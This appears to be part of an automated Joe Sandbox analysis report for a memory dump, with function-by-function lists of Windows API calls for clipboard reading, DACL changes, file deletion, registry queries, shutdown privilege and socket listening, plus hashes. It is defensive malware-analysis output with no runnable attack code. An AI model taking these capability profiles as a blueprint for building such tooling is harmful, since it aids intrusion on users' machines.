Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: StationTokenWindow$AdjustCloseHandleOpenPrivilegesProcess$DesktopDuplicateErrorLastLogonLookupPrivilegeUserValue
String ID: $default$winsta0
API String ID: 22674027-1027155976
Opcode ID: 1e070e6c09fc40d1eb735e2aa0f84aaebb5e865270dbf45d87bf513d33d7faea
Instruction ID: 0ede5e92e47fdb7f3a7ff474d0fe24c1fff08e9cbfc0a6a70a00915467e44977
Opcode Fuzzy Hash: 1e070e6c09fc40d1eb735e2aa0f84aaebb5e865270dbf45d87bf513d33d7faea
Instruction Fuzzy Hash: 22815B71901209ABDF21EFA8DC49BEE7BFDEF04704F1845A9F911B62A0DB718945CB20

Function 00B80B62 Relevance: 31.7, APIs: 21, Instructions: 202memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00B810F9: GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00B81114
Part of subcall function 00B810F9: GetLastError.KERNEL32(?,00000000,00000000,?,?,00B80B9B,?,?,?), ref: 00B81120
Part of subcall function 00B810F9: GetProcessHeap.KERNEL32(00000008,?,?,00000000,00000000,?,?,00B80B9B,?,?,?), ref: 00B8112F
Part of subcall function 00B810F9: HeapAlloc.KERNEL32(00000000,?,00000000,00000000,?,?,00B80B9B,?,?,?), ref: 00B81136
Part of subcall function 00B810F9: GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 00B8114D

GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00B80BCC
GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 00B80C00
GetLengthSid.ADVAPI32(?), ref: 00B80C17
GetAce.ADVAPI32(?,00000000,?), ref: 00B80C51
AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 00B80C6D
GetLengthSid.ADVAPI32(?), ref: 00B80C84
GetProcessHeap.KERNEL32(00000008,00000008), ref: 00B80C8C
HeapAlloc.KERNEL32(00000000), ref: 00B80C93
GetLengthSid.ADVAPI32(?,00000008,?), ref: 00B80CB4
CopySid.ADVAPI32(00000000), ref: 00B80CBB
AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 00B80CEA
SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 00B80D0C
SetUserObjectSecurity.USER32(?,00000004,?), ref: 00B80D1E
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00B80D45
HeapFree.KERNEL32(00000000), ref: 00B80D4C
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00B80D55
HeapFree.KERNEL32(00000000), ref: 00B80D5C
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00B80D65
HeapFree.KERNEL32(00000000), ref: 00B80D6C
GetProcessHeap.KERNEL32(00000000,?), ref: 00B80D78
HeapFree.KERNEL32(00000000), ref: 00B80D7F

Part of subcall function 00B81193: GetProcessHeap.KERNEL32(00000008,00B80BB1,?,00000000,?,00B80BB1,?), ref: 00B811A1
Part of subcall function 00B81193: HeapAlloc.KERNEL32(00000000,?,00000000,?,00B80BB1,?), ref: 00B811A8
Part of subcall function 00B81193: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,00000000,?,00B80BB1,?), ref: 00B811B7

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: Heap$Process$Security$Free$AllocDescriptorLengthObjectUser$Dacl$CopyErrorInformationInitializeLast
String ID:
API String ID: 4175595110-0
Opcode ID: d0e192909b78f6929d83185a118b14daafde3cfeae8a197af3c614eda21a7087
Instruction ID: d346b04ac096bf2cbff0fac39c3738ed2d56c6d5668ff78ebced4c0a6fac1a33
Opcode Fuzzy Hash: d0e192909b78f6929d83185a118b14daafde3cfeae8a197af3c614eda21a7087
Instruction Fuzzy Hash: A4714F7291020AAFDF50EFA4DC44FAEBBB8FF04350F1446A5E915B71A1DB71A905CB60

Function 00B9EAFF Relevance: 30.2, APIs: 20, Instructions: 191clipboardfileCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32(00BBCC08), ref: 00B9EB29
IsClipboardFormatAvailable.USER32(0000000D), ref: 00B9EB37
GetClipboardData.USER32(0000000D), ref: 00B9EB43
CloseClipboard.USER32 ref: 00B9EB4F
GlobalLock.KERNEL32(00000000), ref: 00B9EB87
CloseClipboard.USER32 ref: 00B9EB91
GlobalUnlock.KERNEL32(00000000), ref: 00B9EBBC
IsClipboardFormatAvailable.USER32(00000001), ref: 00B9EBC9
GetClipboardData.USER32(00000001), ref: 00B9EBD1
GlobalLock.KERNEL32(00000000), ref: 00B9EBE2
GlobalUnlock.KERNEL32(00000000), ref: 00B9EC22
IsClipboardFormatAvailable.USER32(0000000F), ref: 00B9EC38
GetClipboardData.USER32(0000000F), ref: 00B9EC44
GlobalLock.KERNEL32(00000000), ref: 00B9EC55
DragQueryFileW.SHELL32(00000000,000000FF,00000000,00000000), ref: 00B9EC77
DragQueryFileW.SHELL32(00000000,?,?,00000104), ref: 00B9EC94
DragQueryFileW.SHELL32(00000000,?,?,00000104), ref: 00B9ECD2
GlobalUnlock.KERNEL32(00000000), ref: 00B9ECF3
CountClipboardFormats.USER32 ref: 00B9ED14
CloseClipboard.USER32 ref: 00B9ED59

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: Clipboard$Global$AvailableCloseDataDragFileFormatLockQueryUnlock$CountFormatsOpen
String ID:
API String ID: 420908878-0
Opcode ID: b019509c118d23704358dbf97fd65eb0aff599e321a5c600e83aee1e545f3979
Instruction ID: cbe1dd9736c4b70fa2d0f7870f7c2fa243be354c185f87c7bb6cc68637c994c4
Opcode Fuzzy Hash: b019509c118d23704358dbf97fd65eb0aff599e321a5c600e83aee1e545f3979
Instruction Fuzzy Hash: DF61BF35204202AFD700EF24D885F6A7BE4EF84714F1846ADF46A972A2DF71DD45CB62

Function 00B9698F Relevance: 21.4, APIs: 7, Strings: 5, Instructions: 363timefileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 00B969BE
FindClose.KERNEL32(00000000), ref: 00B96A12
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 00B96A4E
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 00B96A75

Part of subcall function 00B29CB3: _wcslen.LIBCMT ref: 00B29CBD

FileTimeToSystemTime.KERNEL32(?,?), ref: 00B96AB2
FileTimeToSystemTime.KERNEL32(?,?), ref: 00B96ADF

Strings

%4d, xrefs: 00B96BB1
%4d%02d%02d%02d%02d%02d, xrefs: 00B96B6A
%02d, xrefs: 00B96C00, 00B96C0A, 00B96C5A, 00B96CAA, 00B96CFA, 00B96D4A
%03d, xrefs: 00B96DA2
%4d%02d%02d%02d%02d%02d%03d, xrefs: 00B96B32

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: Time$File$FindLocalSystem$CloseFirst_wcslen
String ID: %02d$%03d$%4d$%4d%02d%02d%02d%02d%02d$%4d%02d%02d%02d%02d%02d%03d
API String ID: 3830820486-3289030164
Opcode ID: 307b23acf8b9ecb3a0022dca42b6d737e0b47ec7c79276e2c6fcda2168ed8490
Instruction ID: 748143a217a96c27b643b0b0aa93a73a6f1373a0a0ac302c45946486b88d121e
Opcode Fuzzy Hash: 307b23acf8b9ecb3a0022dca42b6d737e0b47ec7c79276e2c6fcda2168ed8490
Instruction Fuzzy Hash: E5D15071508310AFC710EB64D991EABB7ECAF98704F04496DF589C7191EB74DA48CB62

Function 00B99642 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 118fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,74DE8FB0,?,00000000), ref: 00B99663
GetFileAttributesW.KERNEL32(?), ref: 00B996A1
SetFileAttributesW.KERNEL32(?,?), ref: 00B996BB
FindNextFileW.KERNEL32(00000000,?), ref: 00B996D3
FindClose.KERNEL32(00000000), ref: 00B996DE
FindFirstFileW.KERNEL32(*.*,?), ref: 00B996FA
SetCurrentDirectoryW.KERNEL32(?), ref: 00B9974A
SetCurrentDirectoryW.KERNEL32(00BE6B7C), ref: 00B99768
FindNextFileW.KERNEL32(00000000,00000010), ref: 00B99772
FindClose.KERNEL32(00000000), ref: 00B9977F
FindClose.KERNEL32(00000000), ref: 00B9978F

Strings

*.*, xrefs: 00B996F5

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: Find$File$Close$AttributesCurrentDirectoryFirstNext
String ID: *.*
API String ID: 1409584000-438819550
Opcode ID: 02a3af9f51bfe4238c47f941642574707eef064932c27fdffd8f849127e6ef62
Instruction ID: b3340dd0a97e8da22f640821c23c21424ab976e535b774b4e198b13f6d2b84c4
Opcode Fuzzy Hash: 02a3af9f51bfe4238c47f941642574707eef064932c27fdffd8f849127e6ef62
Instruction Fuzzy Hash: FA319F325006196BDF64EFB9DC49ADE7BECDF49320F1442AAE815E31A0DF74DE408A64

Function 00B9979D Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 111fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,74DE8FB0,?,00000000), ref: 00B997BE
FindNextFileW.KERNEL32(00000000,?), ref: 00B99819
FindClose.KERNEL32(00000000), ref: 00B99824
FindFirstFileW.KERNEL32(*.*,?), ref: 00B99840
SetCurrentDirectoryW.KERNEL32(?), ref: 00B99890
SetCurrentDirectoryW.KERNEL32(00BE6B7C), ref: 00B998AE
FindNextFileW.KERNEL32(00000000,00000010), ref: 00B998B8
FindClose.KERNEL32(00000000), ref: 00B998C5
FindClose.KERNEL32(00000000), ref: 00B998D5

Part of subcall function 00B8DAE5: CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000003,02000080,00000000), ref: 00B8DB00

Strings

*.*, xrefs: 00B9983B

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: Find$File$Close$CurrentDirectoryFirstNext$Create
String ID: *.*
API String ID: 2640511053-438819550
Opcode ID: ef20e8465fe1b94db91f078bfd7252a008c4ddd0d2fa978dc5bda234a7657a98
Instruction ID: b24e73d114ec09409f9402cdea9cfd146d2fbd16725855fffff435e4a62ba020
Opcode Fuzzy Hash: ef20e8465fe1b94db91f078bfd7252a008c4ddd0d2fa978dc5bda234a7657a98
Instruction Fuzzy Hash: 8F31A2315006196FDF64EFB9DC89ADE77ECDF06360F1442EEE810A31A1DB70DA448A64

Function 00BABE44 Relevance: 17.0, APIs: 11, Instructions: 456registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00BAC998: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00BAB6AE,?,?), ref: 00BAC9B5
Part of subcall function 00BAC998: _wcslen.LIBCMT ref: 00BAC9F1
Part of subcall function 00BAC998: _wcslen.LIBCMT ref: 00BACA68
Part of subcall function 00BAC998: _wcslen.LIBCMT ref: 00BACA9E

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00BABF3E
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?,?,?), ref: 00BABFA9
RegCloseKey.ADVAPI32(00000000), ref: 00BABFCD
RegQueryValueExW.ADVAPI32(?,?,00000000,?,00000000,?), ref: 00BAC02C
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,00000008), ref: 00BAC0E7
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,?,?,00000000), ref: 00BAC154
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,?,?,00000000), ref: 00BAC1E9
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,00000000,?,?,?,00000000), ref: 00BAC23A
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,?,?,00000000), ref: 00BAC2E3
RegCloseKey.ADVAPI32(?,?,00000000), ref: 00BAC382
RegCloseKey.ADVAPI32(00000000), ref: 00BAC38F

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: QueryValue$Close_wcslen$BuffCharConnectOpenRegistryUpper
String ID:
API String ID: 3102970594-0
Opcode ID: 680922fbafd3f479eaa062cf79bddf782de25ae8c49efa99888524f0521c3bee
Instruction ID: 9b3b10712b4acb3b2fc7132390546d76609d069fb20548413988eff918b37797
Opcode Fuzzy Hash: 680922fbafd3f479eaa062cf79bddf782de25ae8c49efa99888524f0521c3bee
Instruction Fuzzy Hash: DC023E71608210AFD714DF28C895E2ABBE5EF49314F18C49DF84ADB2A2DB31ED45CB51

Function 00B8D076 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 172fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00B23AA2: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00B23A97,?,?,00B22E7F,?,?,?,00000000), ref: 00B23AC2

Part of subcall function 00B8E199: GetFileAttributesW.KERNEL32(?,00B8CF95), ref: 00B8E19A

FindFirstFileW.KERNEL32(?,?), ref: 00B8D122
DeleteFileW.KERNEL32(?,?,?,?,?,00000000,?,?,?), ref: 00B8D1DD
MoveFileW.KERNEL32(?,?), ref: 00B8D1F0
DeleteFileW.KERNEL32(?,?,?,?), ref: 00B8D20D
FindNextFileW.KERNEL32(00000000,00000010), ref: 00B8D237

Part of subcall function 00B8D29C: CopyFileExW.KERNEL32(?,?,00000000,00000000,00000000,00000008,?,?,00B8D21C,?,?), ref: 00B8D2B2

FindClose.KERNEL32(00000000,?,?,?), ref: 00B8D253
FindClose.KERNEL32(00000000), ref: 00B8D264

Strings

\*.*, xrefs: 00B8D0CD, 00B8D0D6, 00B8D0EB

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: File$Find$CloseDelete$AttributesCopyFirstFullMoveNameNextPath
String ID: \*.*
API String ID: 1946585618-1173974218
Opcode ID: ad2d20877b6fc8d39f1574e72a3cd7328f20c5f096f0c43991b57acb0a570e60
Instruction ID: 7c4877861248a3beb70e07ecbf21e9046beccddb4abf14becf423112e645ae59
Opcode Fuzzy Hash: ad2d20877b6fc8d39f1574e72a3cd7328f20c5f096f0c43991b57acb0a570e60
Instruction Fuzzy Hash: 36613A3180111DABCF05FFA0E9929EDBBF5AF55340F2441A6E40A771A1EB30AF09CB60

Function 00B9ED6A Relevance: 13.6, APIs: 9, Instructions: 102clipboardmemoryCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 00B9ED91
EmptyClipboard.USER32 ref: 00B9ED97
GlobalAlloc.KERNEL32(00000002,?), ref: 00B9EDAC
CloseClipboard.USER32 ref: 00B9EEA3

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: Clipboard$AllocCloseEmptyGlobalOpen
String ID:
API String ID: 1737998785-0
Opcode ID: 027509f10c073f7bf0fda8abfc6841311f7906e03127f147186d1de6392c7c3e
Instruction ID: bafeeab0e3ba54824cda442a457af2e96c65abcc15eb0d2c7f823f9455a5c7ff
Opcode Fuzzy Hash: 027509f10c073f7bf0fda8abfc6841311f7906e03127f147186d1de6392c7c3e
Instruction Fuzzy Hash: 38418E35604611AFDB10DF15E888F19BBE5FF44328F15C5A9E42A8B662CB75EC41CB90

Function 00B8E8F6 Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 57shutdownCOMMON

Download Yara Rule

APIs

Part of subcall function 00B816C3: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 00B8170D
Part of subcall function 00B816C3: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00B8173A
Part of subcall function 00B816C3: GetLastError.KERNEL32 ref: 00B8174A

ExitWindowsEx.USER32(?,00000000), ref: 00B8E932

Strings

, xrefs: 00B8E920
@, xrefs: 00B8E925
, xrefs: 00B8E95C
SeShutdownPrivilege, xrefs: 00B8E902

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: AdjustErrorExitLastLookupPrivilegePrivilegesTokenValueWindows
String ID: $ $@$SeShutdownPrivilege
API String ID: 2234035333-3163812486
Opcode ID: 85d7e3277378a1505c8849619c627ee1d30d4e80a8d5b254130cbe41f6d69677
Instruction ID: e245ac6d2ab45a10d45c3fad185580c42c80fddc280443bea053ea341d45f060
Opcode Fuzzy Hash: 85d7e3277378a1505c8849619c627ee1d30d4e80a8d5b254130cbe41f6d69677
Instruction Fuzzy Hash: 8501A272610211ABEB6476B89C8ABBB76DCD714751F1549A2F822E31F2DAF0DC40C3A4

Function 00BA1204 Relevance: 12.1, APIs: 8, Instructions: 113networkCOMMON

Download Yara Rule

APIs

socket.WSOCK32(00000002,00000001,00000006,?,00000002,00000000), ref: 00BA1276
WSAGetLastError.WSOCK32 ref: 00BA1283
bind.WSOCK32(00000000,?,00000010), ref: 00BA12BA
WSAGetLastError.WSOCK32 ref: 00BA12C5
closesocket.WSOCK32(00000000), ref: 00BA12F4
listen.WSOCK32(00000000,00000005), ref: 00BA1303
WSAGetLastError.WSOCK32 ref: 00BA130D
closesocket.WSOCK32(00000000), ref: 00BA133C

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: ErrorLast$closesocket$bindlistensocket
String ID:
API String ID: 540024437-0
Opcode ID: d9065a807a5b817fa83f9b103acca3d41ce501206f1b6128d48cc7cdc2776233
Instruction ID: 40b7325afe110126bcbf67eb104beb8356d0fdf02f826c028f72ebaf4e9e433c
Opcode Fuzzy Hash: d9065a807a5b817fa83f9b103acca3d41ce501206f1b6128d48cc7cdc2776233
Instruction Fuzzy Hash: 0C419131604210AFD710DF28D888B29BBE5EF46318F1885C8E85A9F2D2C771EC85CBE1

Function 00B8D3A9 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 91fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00B23AA2: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00B23A97,?,?,00B22E7F,?,?,?,00000000), ref: 00B23AC2

Part of subcall function 00B8E199: GetFileAttributesW.KERNEL32(?,00B8CF95), ref: 00B8E19A

FindFirstFileW.KERNEL32(?,?), ref: 00B8D420
DeleteFileW.KERNEL32(?,?,?,?), ref: 00B8D470
FindNextFileW.KERNEL32(00000000,00000010), ref: 00B8D481
FindClose.KERNEL32(00000000), ref: 00B8D498
FindClose.KERNEL32(00000000), ref: 00B8D4A1

Strings

\*.*, xrefs: 00B8D3F2

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: FileFind$Close$AttributesDeleteFirstFullNameNextPath
String ID: \*.*
API String ID: 2649000838-1173974218
Opcode ID: 321ebf453847755a2b7108c6ccba4a5a1d8482120f0603f5a663565e784fc8fc
Instruction ID: 4c0e551da074e4e21a75634fba70d1b19d6609d1e2d9a22dd09b5f5e429b96bf
Opcode Fuzzy Hash: 321ebf453847755a2b7108c6ccba4a5a1d8482120f0603f5a663565e784fc8fc
Instruction Fuzzy Hash: 3E316F310183559FC204FF64D8918AF77E8BE95710F484E9EF4D9531A1EB30AA09CB62

Function 00B9648E Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 367comCOMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00B964DC
CoInitialize.OLE32(00000000), ref: 00B96639
CoCreateInstance.OLE32(00BBFCF8,00000000,00000001,00BBFB68,?), ref: 00B96650
CoUninitialize.OLE32 ref: 00B968D4

Strings

.lnk, xrefs: 00B964BA, 00B96524, 00B965E0

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: CreateInitializeInstanceUninitialize_wcslen
String ID: .lnk
API String ID: 886957087-24824748
Opcode ID: 531a34edeed7a90b468c29bb7579d3ed1f825592f1e60897a5a505c8e0a99c9d
Instruction ID: 67b798a2b7b38fa6bd57985672204b34f5ec4e8f7af4e5ec5468faa114696778
Opcode Fuzzy Hash: 531a34edeed7a90b468c29bb7579d3ed1f825592f1e60897a5a505c8e0a99c9d
Instruction Fuzzy Hash: 73D15C71508215AFC704EF24D891D6BB7E9FF98704F0049ADF5998B2A1DB70ED09CBA2

Function 00BA22DA Relevance: 9.1, APIs: 6, Instructions: 103COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(?,?,00000000), ref: 00BA22E8

Part of subcall function 00B9E4EC: GetWindowRect.USER32(?,?), ref: 00B9E504

GetDesktopWindow.USER32 ref: 00BA2312
GetWindowRect.USER32(00000000), ref: 00BA2319
mouse_event.USER32(00008001,?,?,00000002,00000002), ref: 00BA2355
GetCursorPos.USER32(?), ref: 00BA2381
mouse_event.USER32(00008001,?,?,00000000,00000000), ref: 00BA23DF

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
